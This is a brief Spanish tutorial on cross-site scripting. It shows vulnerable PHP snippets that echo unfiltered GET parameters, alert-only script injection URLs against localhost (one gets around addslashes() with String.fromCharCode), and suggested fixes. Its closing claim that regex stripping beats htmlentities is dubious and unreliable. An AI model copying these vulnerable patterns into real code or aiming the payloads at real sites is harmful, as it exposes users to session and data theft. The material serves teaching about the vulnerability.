Cross-Site Scripting (XSS)
- Tips : Usted pued utilizar un monton de metodos existentes en la web para explotar esta vulnerabilidad.
- Ejemplo Básico:
- Pedazo de código de test.php
———————————
<?php
$name=$_GET['name'];
print $name;
?>
———————————
El “input” no está filtrado, Un atacante puede ejecutar código javascript.
Ejemplo :
http://127.0.0.1/test.php?name=<script>alert(“XSS”)</script>
Un “popup” con un mensaje de “XSS” aparecerá en pantalla. El código javascript es ejecutado con exito.
- Otro Ejemplo:
- Pedazo de código de test.php
——————————————-
<?php
$name=addslashes($_GET['name']);
print ‘<table name=”‘.$name.’”></table>’;
?>
——————————————-
No es un ejemplo avanzado, solo un poquito más complicado.
http://127.0.0.1/test.php?name=”><script>alert(String.fromCharCode(88,83,83))</script>
Qué con este vector?Nosotros pusimos ” porque necesitamos cerrar ” del atributo “name” de la tabla “table” y > para cerrar la “table”. Porque String.fromCharCode? Porque
queremos bypassear la funcion addslashes(). Inyeccion realizada con exito.
- Ejemplo Práctico:
- Pedazo de código de modules.php
—————————————————————————
if (isset($name)) {
……………….. etc…………….
} else {
die(“Le fichier modules/”.$name.”/”.$mod_file.”.php est inexistant”);
—————————————————————————
La variable “name” es inyectable, input no está filtrado, por eso podemos inyectar codigo javascript.
Ejemplo:
http://127.0.0.1/test.php?name=<script>alert(“XSS”)</script>
- Solución
Forma Simple : Usar las funciones htmlentities() o htmlspecialchars().
Ejemplo : $name=htmlentities($_GET['name']);
Otra Forma : Filtrar los caracteres especiales usados para xss (demasiados).
Otra:
$_GET = preg_replace(“|([^\w\s\'])|i”,”,$_GET);
$_POST = preg_replace(“|([^\w\s\'])|i”,”,$_POST);
La mejor forma es con el último método.
Andrés Gómez